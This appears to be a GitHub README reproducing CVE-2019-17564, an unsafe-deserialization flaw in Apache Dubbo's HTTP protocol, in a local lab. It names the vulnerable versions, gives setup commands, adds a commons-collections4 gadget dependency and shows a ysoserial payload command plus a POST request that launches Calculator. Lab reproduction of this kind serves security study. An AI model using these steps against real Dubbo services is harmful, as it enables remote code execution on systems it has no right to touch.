fairyming/cve-2019-17564CVE-2019-17564：Apache Dubbo反序列化漏洞
Apache Dubbo is a high-performance, lightweight open-source Java RPC framework. It provides three core capabilities: interface-based remote method invocation, intelligent fault tolerance and load balancing, and automatic service registration and discovery.
Apache Dubbo supports multiple protocols, and the Dubbo protocol is officially recommended. A deserialization vulnerability (CVE-2019-17564) exists in the Apache Dubbo HTTP protocol. The main cause is that when Apache Dubbo enables the HTTP protocol, improper handling of the message body leads to unsafe deserialization. When usable gadgets exist in the project package, it can lead to remote code execution.
2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
# 将conf目录下的zoo_sample.cfg改名为zoo.cfg
mv zoo_sample.cfg zoo.cfg
# 进入bin目录启动zookeeper
./zkServer.sh start
git clone https://github.com/apache/dubbo-samples
# 进入到dubbo-samples-http目录中，修改pom.xml
vim pom.xml
Modify the Dubbo version to the vulnerable version
Add a dependency, import a triggerable gadget. Here, we import commons-collections4-4.0
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
mvn clean package
mvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java
Payload
POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1
Host: 127.0.0.1:8080
paylaod
Here, use ysoserial to generate the payload
java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser
Send the request with Burp Suite
